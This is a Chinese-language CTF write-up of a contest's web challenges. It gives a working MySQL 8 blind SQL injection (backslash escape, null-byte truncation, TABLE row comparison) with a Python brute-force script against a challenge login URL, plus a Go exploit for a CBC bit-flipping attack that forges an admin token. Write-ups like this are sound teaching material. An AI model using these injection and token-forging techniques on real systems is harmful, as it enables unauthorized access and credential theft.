前言
一个 愉快 的五一假期,总体来说这次minictf就web方向的题目我感觉还是有点难度的,考察范围很广泛,其中两道java相关的也是不知道怎么搞。不过有幸拿到了mini_sql的一血,还是很激动的毕竟第一次在ctf比赛中拿到一血。同时还扩展了一些密码学的东西,比如这个checkin。总之虽然排名并不是很靠前,但学到了很多有用的新姿势,血赚不亏。
学到的新东西
- MYSQL8新特性在SQL注入中的利用
- CBC字节反转攻击
mini_sql
题目分析
打开题目环境F12可以看到hint(当时没有看这个页面,结果为了 users
这个表名搞了很长时间,结果发现居然有hint。拿到题目一定要仔细啊,不放过任何地方)
存在SQL注入,先fuzz一下看ban掉了哪些关键字符
过滤了很多东西
#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if
可以看到select都用不了,还有注释单引号什么的,但发现 \
并未被ban,所以根据它的sql语句可以在username处来个 \
转义掉后面的 '
即它后端的sql语句变成了这样
select * from users where username='\' and password='YOUR_INPUT';
而对于最后的这个 '
,由于注释符被过滤了,所以可以使用 ;%00
来代替,截断后面的 '
所以后端的sql查询语句可以是
select * from users where username='\' and password='||1;%00'
构造payload发送,可以发现response了 success
但即便是成功登录了也没法拿到falg,测试发现其语法不出错的情况下只有 success!
和 fail!
两种返回值。
基本上可以确定是要盲注了
但问题就难在这里or、 select、 union
等关键字都被ban了,很难找到突破口,但我一个习惯确帮助我解决了这道题。对于sql注入我会习惯性的去使用 database()
和 version()
去查看它当前的数据库名和版本信息。试了下发现当前数据库名为 ctf
,但好像没啥用。但这个 version 就不一样了。
试了下payload
username=\&password=||version()=5;%00
发现竟然返回了 fail!
,那就说明这是 mysql8 的版本。验证一下
既然是 mysql8 那因该是有一些其它奇奇怪怪的注入姿势,结果果真有,比如说mysql8新增的 TABLE
关键字。
前置知识
TABLE关键字(MYSQL8)
翻阅mysql8的 官方文档 可以找到 TABLE 关键字的用法
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
它的作用和 SELECT * FROM table_name
的作用差不多,都是列出表的整个内容
(下文实例的所有users表内容均相同)
mysql> TABLE users;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 1 | admin | qwe123 |
| 2 | guest | asd321 |
| 3 | adds3awed | 12@qd24 |
+------+-----------+----------+
3 rows in set (0.00 sec)
配合 LIMIT
关键字可以精确到某一行
mysql> TABLE users LIMIT 0,1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | qwe123 |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> TABLE users LIMIT 1,1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | guest | asd321 |
+------+----------+----------+
1 row in set (0.01 sec)
mysql> TABLE users LIMIT 1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | qwe123 |
+------+----------+----------+
1 row in set (0.00 sec)
还可以配合 ORDER BY
详情可以翻阅文档,这里不再赘述。
mysql的字符串比较
mysql中的字符串可以配合 ()
和表的某一行进行比较,如:
mysql> SELECT (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1);
+----------------------------------------------------+
| (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1) |
+----------------------------------------------------+
| 1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
# MYSQL8中使用 TABLE 关键字
mysql> SELECT (1,'admin','qwe123')=(TABLE users LIMIT 1);
+--------------------------------------------+
| (1,'admin','qwe123')=(TABLE users LIMIT 1) |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)
对于字符串之间的大小比较其规则是这样的:
不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从两个串的第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,不同则按照 >
还是 <
直接返回 1或0,如果相同再比较下一个以此类推。如果前面字符全部相同,则以长度更长的为大。如:
mysql> SELECT 'a'<'C';
+---------+
| 'a'<'C' |
+---------+
| 1 |
+---------+
1 row in set (0.00 sec)
mysql> SELECT 'e'>'ef';
+----------+
| 'e'>'ef' |
+----------+
| 0 |
+----------+
1 row in set (0.00 sec)
mysql> SELECT 'adc'<'aea';
+-------------+
| 'adc'<'aea' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT 'qwe'>'qwf';
+-------------+
| 'qwe'>'qwf' |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)
利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0 。
mysql> SELECT ('a','b','cd')<('a','b','ce');
+-------------------------------+
| ('a','b','cd')<('a','b','ce') |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.01 sec)
mysql> SELECT ('a','b','cd')<('a','b','cd');
+-------------------------------+
| ('a','b','cd')<('a','b','cd') |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> SELECT ('a','b','cd')<('a','c','ab');
+-------------------------------+
| ('a','b','cd')<('a','c','ab') |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
和表查询结果比较
mysql> TABLE users;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 1 | admin | qwe123 |
| 2 | guest | asd321 |
| 3 | adds3awed | 12@qd24 |
+------+-----------+----------+
3 rows in set (0.00 sec)
mysql> SELECT (1,'admin','')<(TABLE users LIMIT 1);
+--------------------------------------+
| (1,'admin','')<(TABLE users LIMIT 1) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT (1,'admin','qw')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qw')<(TABLE users LIMIT 1) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT (1,'admin','qx')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qx')<(TABLE users LIMIT 1) |
+----------------------------------------+
| 0 |
+----------------------------------------+
1 row in set (0.00 sec)
所以可以利用这些来盲注爆破
题解
了解了上文的相关信息后这题就好解了,既然是 users 表,那一般是三个字段 id, username, password。id 第一个应该是 1 (不放心可以验证一下),后面的 username 和 password 写脚本爆破一下就好了。
可以构造 payload :
username=1\&password=||(1,0x21,0x21)<(table users limit 1);%00
爆破脚本:
import requests
dic = '_0123456789abcdefghijklmnopqrstuvwxyz' # 字典
url = "http://47.93.215.154:10000/login.php"
def str2hex(str):
result = '0x'
for i in str:
result += hex(ord(i))[2:]
return result
def boomSql():
result = ''
for i in range(1, 40):
for j in range(len(dic)):
#print(dic[j])
# 手动测试第一个字段 id
# 结果:1
# 爆第二个字段 username
# 结果: w3lc0me_t0_m1n1lct5
# 16进制为 0x77336c63306d655f74305f6d316e316c637435
payload1 = {"username": "1\\",
"password": f"||(1,{str2hex(result+dic[j])},0x21)<(table users limit 1);\x00"
}
# 爆第三个字段 password
# 结果:cd51c1005cab68be2f7e6112a4de3e88
# 因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母
# 但是这仅限最后一个字段
# 所以正确结果是cd51c1005cab68be2f7e6112a4de3e89
payload2 = {"username": "1\\",
"password": f"||(1,0x77336c63306d655f74305f6d316e316c637435,{str2hex(result+dic[j])})<(table users limit 1);\x00"
}
res = requests.post(url=url, data=payload1)
# print(res.text)
if "success" in res.text:
continue
elif "fail" in res.text:
# 返回假时表示上一个字母即为正确结果
result += dic[j - 1]
break
print(result)
if __name__ == '__main__':
boomSql()
运行得到 username 和 password
登录拿到flag
checkin
题目分析
打开题目告诉
Only admin can get the secret!
然后仔细研究了一下这个token,发现最前面固定为 0001145141919810
,然后…………..不会了
后来给了源码,用go语言写的。当时go也没学过,简单学了一下,了解了下关键函数的作用。
关键代码
//User的结构
type User struct {
Name string
CreateAt int64
IP string
}
//初始化一个token
func IndexController(c *gin.Context) {
_, err := c.Cookie("token")
if err == nil {
c.Redirect(http.StatusFound, "/home")
}
//token的结构,后面TokenDecrypt后的结构也是如此
user := models.User{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}
jsonUser, _ := json.Marshal(user)
token, _ := utils.TokenEncrypt(jsonUser)
c.SetCookie("token", token, 3600, "/", "", false, true)
c.Redirect(http.StatusFound, "/home")
}
flagController.go文件:
func HomeController(c *gin.Context) {
token, err := c.Cookie("token")
if err != nil {
c.Redirect(http.StatusFound, "/")
}
jsonUser, _ := utils.TokenDecrypt(token)
user := models.User{}
_ = json.Unmarshal([]byte(jsonUser), &user)
//只要TokenDecrypt后的结构中的Name为admin就可拿到flag
if user.Name == "admin" {
file, _ := os.Open("/flag")
defer file.Close()
content, _ := ioutil.ReadAll(file)
_, _ = c.Writer.WriteString(string(content))
} else {
_, _ = c.Writer.WriteString("Only admin can get the secret!")
}
}
token.go文件:
var key = []byte(config.KEY) //配置文件中的密钥(未知)但大小为16字节
var iv = []byte(config.IV) //CBC加密的初始向量 0001145141919810 (16字节)
type tokenError struct {
error string
}
func (e *tokenError) Error() string {
return e.error
}
//对User进行CBC分组加密的函数
func TokenEncrypt(user []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
blockSize := block.BlockSize() //密钥大小
originData := pad(user, blockSize) //根据密钥大小分组
blockMode := cipher.NewCBCEncrypter(block, iv) //创建加密对象,包含密钥key和初始向量IV
encrypted := make([]byte, len(originData))
blockMode.CryptBlocks(encrypted, originData) //CBC算法,详情见后文
return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil //base64编码
}
//按16字节一组进行分组
func pad(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padText...)
}
//CBC解密
func TokenDecrypt(user string) (string, error) {
decodeData, err := base64.StdEncoding.DecodeString(user)
iv = decodeData[:16] //前16个字节为初始向量iv
decodeData = decodeData[16:] //后面为密文
if err != nil {
return "", &tokenError{"Invalid token"}
}
block, _ := aes.NewCipher(key)
blockMode := cipher.NewCBCDecrypter(block, iv)
originData := make([]byte, len(decodeData))
blockMode.CryptBlocks(originData, decodeData)
decrypted, err := unPad(originData) //整合
if err != nil {
return "", &tokenError{"padding error"}
}
return string(decrypted), nil
}
//将多个原文组整合到一起
func unPad(ciphertext []byte) ([]byte, error) {
length := len(ciphertext)
unPadding := int(ciphertext[length-1])
if unPadding < 1 || unPadding > 16 {
return []byte(""), &tokenError{"padding error"}
}
for i := 0; i < unPadding; i++ {
if int(ciphertext[length-i-1]) != unPadding {
return []byte(""), &tokenError{"padding error"}
}
}
return ciphertext[:(length - unPadding)], nil
}
然后…..又不知道怎么办了,感觉是密码学的问题。后来问了问 Carrot2 学长,提示了下是 CBC字节反转攻击 后面网上学习了一下,总算是解决了。
前置知识
CBC全称Cipher Block Chaining,密码分组链接模式
大致的过程是:
- 将原文分为若干组,每组的大小一般为初始向量IV的大小,后面不足则填充到相应的大小
- 先将第一组与初始向量IV异或得到中间值,之后再用加密算法对中间值进行加密得到第一块Ciphertext,然后再用这块Ciphertext和第二块原文异或得到中间值,再对这个中间值加密得到第二块Ciphertext,后续操作亦是如此。
- 将每一块Ciphertext整合得到最终密文(一般还可以在最终的密文前带上初始向量IV,checkin这题就是这样)
解密反过来操作就行了,这里不再赘述
详情请见 https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
加密过程
解密过程
从加密过程中可以看到,每个密文块都依赖于它前面所有的明文块,所以某一个密文块的变化会影响后一个区块解密后的原文
CBC Bit-Flipping Attack在国内又被称为CBC字节翻转攻击,无论是翻转bit还是byte,本质上还是一致的,所以不必纠结中英文的不同。首先要知道该攻击发生在CBC的解密环节上。
上图可以直观地看到,在解密过程里,通过翻转前一组密文里特定位置的bit,从而达到了翻转下一组明文里特定位置bit的效果。同样的,如果可以修改iv,那么也可以修改第一组解密出的明文内容(checkin这道题的解法就是这样)。
进一步分析其原理 (参考 https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/ ):
从上图可以清楚得到:
A = P ^ BlockCipherDecryption(B)
需要注意的是 BlockCipherDecryption(B)是一个常量,因为这里没有修改B
对于分组的第n字节,相应地有:
A[n] = P[n] ^ BlockCipherDecryption(B[n]) //式(1)
变形得到:
BlockCipherDecryption(B[n]) = A[n] ^ P[n] //式(2)
在式(1)里,假定我们想要输出的明文P[n]为我们想要的明文,设为P1
在式(2)里,假定输出的明文P[n]是密文未经过修改得到的真实明文,设为P2
于是由式(1)式(2)得:
A[n] = P1 ^ A[n] ^ P2
调整顺序:
A[n] = A[n] ^ P1 ^ P2
可见,通过这种方式就可以修改密文达到翻转解密出的明文字节的效果。
题解
由题目源码可知是16个字节为一组,需要修改的 Name 正好在第一组,所以只需要修改初始向量 iv 使得 guest
变为 admin
即可
由上文分析不难推出最终计算所需 iv 的公式为
IV = IV ^ admin ^ guest //这里计算的是对应的一个字节
exp:
package main
import (
"encoding/json"
"fmt"
"time"
)
var iv = []byte("0001145141919810")
type User struct {
Name string
CreateAt int64
IP string
}
func main() {
var iv = []byte("0001145141919810")
user := User{Name: "guest", CreateAt: time.Now().Unix(), IP: "127.0.0.1"}
jsonUser, _ := json.Marshal(user)
admin := User{Name: "admin", CreateAt: time.Now().Unix(), IP: "127.0.0.1"}
jsonAdmin, _ := json.Marshal(admin)
//每一组为16个字节,修改第一组即可
for i := 0; i < 16; i++ {
fmt.Print(string(iv[i] ^ jsonAdmin[i] ^ jsonUser[i]))
}
}
运行得到所需iv为
0001145147(9#"10
将原来token前面的iv( 0001145141919810
)替换为 0001145147(9#"10
,编码后发送,认证成功,拿到flag
include
很简单的签到题,这里不再赘述。
参考链接
https://www.codetd.com/article/13126014
https://www.jianshu.com/p/f4684322e851
https://dev.mysql.com/doc/refman/8.0/en/table.html
https://ce-automne.github.io/2019/05/23/CBC-Bit-Flipping-Attack-Conclusion/
https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/